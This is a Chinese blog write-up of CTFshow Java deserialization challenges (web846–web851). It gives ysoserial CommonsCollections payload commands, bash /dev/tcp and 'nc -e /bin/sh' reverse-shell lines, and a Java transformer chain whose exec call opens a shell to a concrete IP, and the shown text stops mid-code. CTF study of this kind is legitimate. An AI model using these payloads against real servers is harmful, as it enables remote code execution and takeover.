CTFSHOW web入门 java反序列化篇（更新中）

原创

已于 2023-02-09 17:02:21 修改 · 置顶 · 6.5k 阅读

35 ·

CC 4.0 BY-SA版权

文章标签：

#java #前端 #开发语言

于 2022-12-07 15:59:42 首次发布

本文详细介绍Java反序列化漏洞的原理与利用方法，通过实际案例演示如何构造payload进行攻击，涉及工具使用及多种场景下的具体操作。

文章目录

web846
web847
web848
web849
web850
web851-web853
web855
web856
web857
web858

在做这部分题前，推荐大家先去学习下java反序列化，尤其是CC链
可以看下两个系列视频，收获颇多
https://space.bilibili.com/2142877265/channel/collectiondetail?sid=29805&ctype=0

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=23c2bbe4623ae526416ea7a1ec4679fc
从这部分开始看即可
在这里插入图片描述
下面大部分题目需要用到ysoserial工具。
工具下载地址链接: https://pan.baidu.com/s/1Sx61GihwHtDsaDXbL7Q7uQ?pwd=jt5w
也可下载源码自行构建
https://github.com/frohoff/ysoserial

记得base64编码后的payload再url编码一次

web846

URLDNS链
java -jar ysoserial.jar URLDNS "题目地址"|base64

web847

在ysoserial中cc1、cc3、cc5、cc6、cc7对应的commons-collections:3.1
cc2、cc4对应的commons-collections4:4.0
所以在3.1中随便挑一个运行反弹shell即可。
payload

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64

这里使用bash反弹
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

web848

题目中提示不准用TransformedMap类反序列化
导致cc1无法使用更换其他的即可。
payload

java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64

web849

首先只能使用cc2或者cc4，并且题目提示需要nc反弹。
那么把命令改成nc ip port -e /bin/sh
payload

java -jar ysoserial.jar CommonsCollections2 "nc ip port -e /bin/sh "|base64

web850

cc3可用

java -jar ysoserial.jar CommonsCollections3  "bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64

web851-web853

直接用工具打不通了，这里采用的方法是基于cc7改的，改成了适用于commons-collections4的链子

        Transformer[] transformers = new Transformer[]{
   
   
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
   
   String.class, Class[].class}, new Object[]{
   
   "getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{
   
   Object.class, Object[].class}, new Object[]{
   
   null, null}),
                new InvokerTransformer("exec", new Class[]{
   
   String.class}, new Object[]{
   
   "nc 1.15.153.196 4567 -e /bin/sh"})
        };
        Transformer transformerChain2 = new ChainedTransformer(transformers);